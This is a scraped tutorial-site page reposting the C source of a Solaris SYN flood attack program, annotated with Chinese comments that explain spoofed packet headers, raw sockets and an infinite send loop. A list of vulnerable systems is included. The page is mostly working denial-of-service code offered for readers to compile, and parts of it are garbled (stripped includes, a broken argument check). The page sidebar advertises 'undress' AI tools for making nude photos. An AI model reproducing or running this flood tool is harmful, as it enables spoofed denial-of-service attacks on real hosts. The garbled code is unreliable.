Home Backend Development PHP Tutorial Code analysis of a SYN attack--Used Gcc/RedHat Linux 9.0 compilation_PHP tutorial

Code analysis of a SYN attack--Used Gcc/RedHat Linux 9.0 compilation_PHP tutorial

Jul 13, 2016 pm 05:27 PM
gcc linux redhat code analyze attack of compile

Code analysis of a SYN attack--Used Gcc/RedHat Linux 9.0 compilation_PHP tutorialThis is an era of LINUX/UNIX, and you are still trying to understand a little bit of Java development. This is a source program for a SYN attack: Everyone, try reading it and see if you can understand it. If you don’t understand, it’s okay. Leave me a message E-MAIL: QIYU155·126. com. I added Chinese comments!
This is the source program of a SYN attack: Try reading it and see if you can understand it. If you don’t understand, you can leave me a message. I added Chinese comments./* Syn Attack against a port for Solaris */ /* Original land attack, land.c by m3lt, FLC */ /* Ported to 44BSD by blast and jerm */ /* Ported to Solaris by ziro antagonist */ /* Referenced flood.c by unknown author */ /* Converted into a syn attack against one port by CRG */ /* Please use this for educational purposes only */ /* Compiles on Solaris gcc -o synsol synsol.c -lsocket -lnsl */ /* Additional notes: */ /* Successfully compiled on Solaris 2.51 and 2.6 */ /* Runs: synsol    */ /* */ /* Tested it on: Solaris 2.6 */ /* */ /* Attacked against: */ /* Linux 2.0.33 - vulnerable */ /* Linux 2.0.30 - vulnerable */ /* Linux 1.2.13 - vulnerable */ /* Solaris 2.4 - vulnerable */ /* Solaris 2.5.1 - vulnerable */ /* SunOS 4.1.3_U3 - vulnerable */ /* Solaris 2.6 - not vulnerable */ /* */ /* Most of these test machines are not patched because they */ /* are in test lab. I tested the program against port 23 and */ /* every once in awhile I did get through. */ /* */ /* Direct any comments, questions, improvements to */ /* packetstorm@genocide2600.com */ /* http://www.genocide2600.com/~tattooman/ */ /* Your emails will be forwarded to the author, who wishes */ /* to remain known only as CRG (no email addy or URL) */ /*jjgirl:上面的注释的不用说了!*/ #include  #include  #include  #include  #include  #include  #include  #include  #include  #include  #include  #include  #include  #include  #include  #include  /*jjgirl:上面是头文件!*/   unsigned long srcport;   struct pseudohdr { struct in_addr saddr; struct in_addr daddr; u_char zero; u_char protocol; u_short length; struct tcphdr tcpheader; }; /*jjgirl:定义一个伪装地址的结构!*/   u_short checksum(u_short * data,u_short length) { int nleft = length; int sum=0; unsigned short *w = data; unsigned short value = 0;   while (nleft > 1) { sum += *w++; nleft -= 2; }   if (nleft == 1) { *(unsigned char *) (&value) = *(unsigned char *) w; sum += value; } sum = (sum >>16) + (sum & 0xffff); sum += (sum >> 16); value = ~sum; return(value); } /*jjgirl:上面校验文件!包头是需要校验的,CRC校验!*/     int main(int argc,char * * argv) {/*jjgirl:主程序开始了!*/ struct sockaddr_in sin; struct sockaddr_in din; struct hostent * hoste; struct hostent * host1; int j,sock,foo, flooddot=1; char buffer[40]; struct ip * ipheader=(struct ip *) buffer; struct tcphdr * tcpheader=(struct tcphdr *) (buffer+sizeof(struct ip)); struct pseudohdr pseudoheader; /*jjgirl:上面定义变量!*/   fprintf(stderr,"Syn attack against one port.(Infinite) ");   if(argch_addr,&din.sin_addr,host1->h_length); else if((din.sin_addr.s_addr=inet_addr(argv[3]))==-1) { fprintf(stderr,"unknown source host %s ",argv[3]); return(-1); } if((hoste=gethostbyname(argv[1]))!=NULL) bcopy(hoste->h_addr,&sin.sin_addr,hoste->h_length); else if((sin.sin_addr.s_addr=inet_addr(argv[1]))==-1) { fprintf(stderr,"unknown destination host %s ",argv[1]); return(-1); }   if((sin.sin_port=htons(atoi(argv[2])))==0) { fprintf(stderr,"unknown port %s ",argv[2]); return(-1); } /*jjgirl:上面是给sockaddr_in结构赋值,需要指明协议,端口号!*/       if((sock=socket(AF_INET,SOCK_RAW,255))==-1) { fprintf(stderr,"couldnt allocate raw socket "); return(-1); } /*jjgirl:上面开始Socket了!*/   foo=1; if(setsockopt(sock,0,IP_HDRINCL,(char *)&foo,sizeof(int))==-1) { fprintf(stderr,"couldnt set raw header on socket "); return(-1); } /*jjgirl:上面是为了重构报头!*/   for(j=1;j>0;j++) { bzero(&buffer,sizeof(struct ip)+sizeof(struct tcphdr)); ipheader->ip_v=4; ipheader->ip_tos=0; ipheader->ip_hl=sizeof(struct ip)/4; ipheader->ip_len=sizeof(struct ip)+sizeof(struct tcphdr); ipheader->ip_id=htons(random()); ipheader->ip_ttl=30; /*255;*/ ipheader->ip_p=IPPROTO_TCP; ipheader->ip_sum=0; ipheader->ip_src=din.sin_addr; ipheader->ip_dst=sin.sin_addr;   tcpheader->th_sport=htons(srcport); /*sin.sin_port;*/ tcpheader->th_dport=sin.sin_port; tcpheader->th_seq=htonl(0x28374839); tcpheader->th_flags=TH_SYN; tcpheader->th_off=sizeof(struct tcphdr)/4; tcpheader->th_win=htons(2048); tcpheader->th_sum=0;   bzero(&pseudoheader,12+sizeof(struct tcphdr)); pseudoheader.saddr.s_addr=din.sin_addr.s_addr; pseudoheader.daddr.s_addr=sin.sin_addr.s_addr; pseudoheader.protocol=6; pseudoheader.length=htons(sizeof(struct tcphdr)); bcopy((char *) tcpheader,(char *) &pseudoheader.tcpheader,sizeof(struct tcphdr)); tcpheader->th_sum=checksum((u_short *) &pseudoheader,12+sizeof(struct tcphdr)); /*jjgirl:上面是重构报头!*/   srcport= (10000.0*random()/(15000+1.0)); /*jjgirl:端口当然要变!*/   if(sendto(sock,buffer,sizeof(struct ip)+sizeof(struct tcphdr),0,(struct sockaddr *) &sin,sizeof(struct sockaddr_in))==-1) /*jjgirl:攻击开始!*/ { fprintf(stderr,"couldnt send packet,%d ",errno); return(-1); } usleep(2); if (!(flooddot = (flooddot+1)%(1)))   /*jjgirl:显示次数! Jjgirl 把上面一句,改为如下两句,增加显示效果,随你的便! int k=j; if((k%10)==0) printf(" "); */   } /*The end of the infinite loop*/ close(sock); return(0); } /*jjgirl:结束!编译试试吧!如果有看不懂可以给我留言,或E-MAIL:qiyu155@126.com!*/

www.bkjia.comtruehttp://www.bkjia.com/PHPjc/531903.htmlTechArticle这是一个LINUX/UNIX的时代,你还在为自己懂一点点的 Java development..这是一个SYN攻击的源程序: 大家试着读一读,看是否能读懂,不懂可以给...
Statement of this Website
The content of this article is voluntarily contributed by netizens, and the copyright belongs to the original author. This site does not assume corresponding legal responsibility. If you find any content suspected of plagiarism or infringement, please contact admin@php.cn

Hot AI Tools

Undresser.AI Undress

Undresser.AI Undress

AI-powered app for creating realistic nude photos

AI Clothes Remover

AI Clothes Remover

Online AI tool for removing clothes from photos.

Undress AI Tool

Undress AI Tool

Undress images for free

Clothoff.io

Clothoff.io

AI clothes remover

AI Hentai Generator

AI Hentai Generator

Generate AI Hentai for free.

Hot Article

R.E.P.O. Energy Crystals Explained and What They Do (Yellow Crystal)
2 weeks ago By 尊渡假赌尊渡假赌尊渡假赌
Repo: How To Revive Teammates
4 weeks ago By 尊渡假赌尊渡假赌尊渡假赌
Hello Kitty Island Adventure: How To Get Giant Seeds
4 weeks ago By 尊渡假赌尊渡假赌尊渡假赌

Hot Tools

Notepad++7.3.1

Notepad++7.3.1

Easy-to-use and free code editor

SublimeText3 Chinese version

SublimeText3 Chinese version

Chinese version, very easy to use

Zend Studio 13.0.1

Zend Studio 13.0.1

Powerful PHP integrated development environment

Dreamweaver CS6

Dreamweaver CS6

Visual web development tools

SublimeText3 Mac version

SublimeText3 Mac version

God-level code editing software (SublimeText3)

deepseek web version entrance deepseek official website entrance deepseek web version entrance deepseek official website entrance Feb 19, 2025 pm 04:54 PM

DeepSeek is a powerful intelligent search and analysis tool that provides two access methods: web version and official website. The web version is convenient and efficient, and can be used without installation; the official website provides comprehensive product information, download resources and support services. Whether individuals or corporate users, they can easily obtain and analyze massive data through DeepSeek to improve work efficiency, assist decision-making and promote innovation.

How to install deepseek How to install deepseek Feb 19, 2025 pm 05:48 PM

There are many ways to install DeepSeek, including: compile from source (for experienced developers) using precompiled packages (for Windows users) using Docker containers (for most convenient, no need to worry about compatibility) No matter which method you choose, Please read the official documents carefully and prepare them fully to avoid unnecessary trouble.

BITGet official website installation (2025 beginner's guide) BITGet official website installation (2025 beginner's guide) Feb 21, 2025 pm 08:42 PM

BITGet is a cryptocurrency exchange that provides a variety of trading services including spot trading, contract trading and derivatives. Founded in 2018, the exchange is headquartered in Singapore and is committed to providing users with a safe and reliable trading platform. BITGet offers a variety of trading pairs, including BTC/USDT, ETH/USDT and XRP/USDT. Additionally, the exchange has a reputation for security and liquidity and offers a variety of features such as premium order types, leveraged trading and 24/7 customer support.

Ouyi okx installation package is directly included Ouyi okx installation package is directly included Feb 21, 2025 pm 08:00 PM

Ouyi OKX, the world's leading digital asset exchange, has now launched an official installation package to provide a safe and convenient trading experience. The OKX installation package of Ouyi does not need to be accessed through a browser. It can directly install independent applications on the device, creating a stable and efficient trading platform for users. The installation process is simple and easy to understand. Users only need to download the latest version of the installation package and follow the prompts to complete the installation step by step.

Get the gate.io installation package for free Get the gate.io installation package for free Feb 21, 2025 pm 08:21 PM

Gate.io is a popular cryptocurrency exchange that users can use by downloading its installation package and installing it on their devices. The steps to obtain the installation package are as follows: Visit the official website of Gate.io, click "Download", select the corresponding operating system (Windows, Mac or Linux), and download the installation package to your computer. It is recommended to temporarily disable antivirus software or firewall during installation to ensure smooth installation. After completion, the user needs to create a Gate.io account to start using it.

Ouyi Exchange Download Official Portal Ouyi Exchange Download Official Portal Feb 21, 2025 pm 07:51 PM

Ouyi, also known as OKX, is a world-leading cryptocurrency trading platform. The article provides a download portal for Ouyi's official installation package, which facilitates users to install Ouyi client on different devices. This installation package supports Windows, Mac, Android and iOS systems. Users can choose the corresponding version to download according to their device type. After the installation is completed, users can register or log in to the Ouyi account, start trading cryptocurrencies and enjoy other services provided by the platform.

gate.io official website registration installation package link gate.io official website registration installation package link Feb 21, 2025 pm 08:15 PM

Gate.io is a highly acclaimed cryptocurrency trading platform known for its extensive token selection, low transaction fees and a user-friendly interface. With its advanced security features and excellent customer service, Gate.io provides traders with a reliable and convenient cryptocurrency trading environment. If you want to join Gate.io, please click the link provided to download the official registration installation package to start your cryptocurrency trading journey.

How to Install phpMyAdmin with Nginx on Ubuntu? How to Install phpMyAdmin with Nginx on Ubuntu? Feb 07, 2025 am 11:12 AM

This tutorial guides you through installing and configuring Nginx and phpMyAdmin on an Ubuntu system, potentially alongside an existing Apache server. We'll cover setting up Nginx, resolving potential port conflicts with Apache, installing MariaDB (

See all articles